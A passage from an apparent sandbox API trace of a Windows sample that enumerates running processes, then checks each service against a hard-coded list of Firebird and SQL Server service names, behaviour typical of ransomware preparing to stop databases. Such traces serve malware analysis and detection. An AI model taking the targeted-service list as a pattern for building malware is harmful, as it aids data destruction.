lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.161] lstrlenW (lpString="svchost.exe") returned 11 [0126.161] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0126.162] lstrlenW (lpString="taskhostw.exe") returned 13 [0126.162] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0126.163] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0126.163] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0126.163] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0126.163] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0126.164] lstrlenW (lpString="explorer.exe") returned 12 [0126.291] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0126.296] lstrlenW (lpString="Memory Compression") returned 18 [0126.296] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0126.311] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0126.311] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0126.312] lstrlenW (lpString="SearchUI.exe") returned 12 [0126.312] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0126.367] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0126.367] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0126.368] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0126.368] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0126.368] lstrlenW (lpString="taskhostw.exe") returned 13 [0126.369] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0126.369] lstrlenW (lpString="UsoClient.exe") returned 13 [0126.369] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0126.370] lstrlenW (lpString="taskhostw.exe") returned 13 [0126.370] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0126.371] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0126.371] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0126.372] lstrlenW (lpString="msoia.exe") returned 9 [0126.372] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0126.373] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0126.373] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0126.374] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0126.374] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0126.375] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0126.375] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0126.376] lstrlenW (lpString="arc obviously.exe") returned 17 [0126.376] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0126.377] lstrlenW (lpString="scholars.exe") returned 12 [0126.377] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0126.378] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0126.378] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0126.379] lstrlenW (lpString="organizing.exe") returned 14 [0126.379] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0126.379] lstrlenW (lpString="campus.exe") returned 10 [0126.379] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0126.380] lstrlenW (lpString="mug.exe") returned 7 [0126.380] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0126.381] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0126.381] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0126.382] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0126.382] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0126.383] lstrlenW (lpString="powers mixture.exe") returned 18 [0126.383] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0126.384] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0126.384] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0126.385] lstrlenW (lpString="bachelor.exe") returned 12 [0126.385] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0126.386] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0126.386] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0126.387] lstrlenW (lpString="indication wage paying.exe") returned 26 [0126.387] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0126.388] lstrlenW (lpString="thee pub emission.exe") returned 21 [0126.388] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0126.389] lstrlenW (lpString="dllhost.exe") returned 11 [0126.389] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0126.390] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0126.390] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0126.391] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0126.391] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0126.392] lstrlenW (lpString="upgrading.exe") returned 13 [0126.393] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0126.394] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0126.394] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0126.395] lstrlenW (lpString="russell.exe") returned 11 [0126.395] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0126.396] lstrlenW (lpString="conhost.exe") returned 11 [0126.396] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0126.397] lstrlenW (lpString="conhost.exe") returned 11 [0126.397] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.398] lstrlenW (lpString="svchost.exe") returned 11 [0126.398] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0126.800] lstrlenW (lpString="1csrss.exe") returned 10 [0126.800] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0126.801] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0126.801] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0126.802] lstrlenW (lpString="conhost.exe") returned 11 [0126.802] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0126.803] lstrlenW (lpString="cmd.exe") returned 7 [0126.803] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0126.804] lstrlenW (lpString="conhost.exe") returned 11 [0126.804] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.805] lstrlenW (lpString="svchost.exe") returned 11 [0126.805] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0126.806] lstrlenW (lpString="mode.com") returned 8 [0126.806] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0126.807] lstrlenW (lpString="sppsvc.exe") returned 10 [0126.807] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0126.808] lstrlenW (lpString="LogonUI.exe") returned 11 [0126.808] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0126.809] CloseHandle (hObject=0x35c) returned 1 [0126.809] Sleep (dwMilliseconds=0x1f4) [0127.328] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eed68 [0127.328] EnumServicesStatusExW (in: hSCManager=0x5eed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0127.329] GetLastError () returned 0xea [0127.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1dbc) returned 0x43a1500 [0127.329] EnumServicesStatusExW (in: hSCManager=0x5eed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43a1500, cbBufSize=0x1dbc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43a1500, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0127.330] CloseServiceHandle (hSCObject=0x5eed68) returned 1 [0127.330] lstrlenW (lpString="Appinfo") returned 7 [0127.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0127.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0127.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0127.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0127.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0127.331] lstrlenW (lpString="AppXSvc") returned 7 [0127.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0127.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0127.331] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0127.331] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0127.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0127.331] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0127.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.331] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0127.331] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0127.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0127.331] lstrlenW (lpString="Audiosrv") returned 8 [0127.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0127.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0127.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0127.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0127.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0127.331] lstrlenW (lpString="BFE") returned 3 [0127.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0127.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0127.332] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0127.332] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0127.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0127.332] lstrlenW (lpString="BITS") returned 4 [0127.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0127.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0127.332] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0127.332] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0127.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0127.332] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0127.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0127.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0127.332] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0127.332] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0127.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0127.332] lstrlenW (lpString="CDPSvc") returned 6 [0127.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0127.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0127.332] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0127.332] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0127.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0127.332] lstrlenW (lpString="ClickToRunSvc") returned 13 [0127.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0127.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0127.333] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0127.333] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0127.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0127.333] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0127.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0127.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0127.333] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0127.333] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0127.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0127.333] lstrlenW (lpString="CryptSvc") returned 8 [0127.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0127.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0127.333] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0127.333] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0127.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0127.333] lstrlenW (lpString="DcomLaunch") returned 10 [0127.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.334] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0127.334] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0127.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0127.334] lstrlenW (lpString="DeviceAssociationService") returned 24 [0127.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0127.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0127.334] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0127.334] lstrcmpiW (lpString1="mssqlserver", 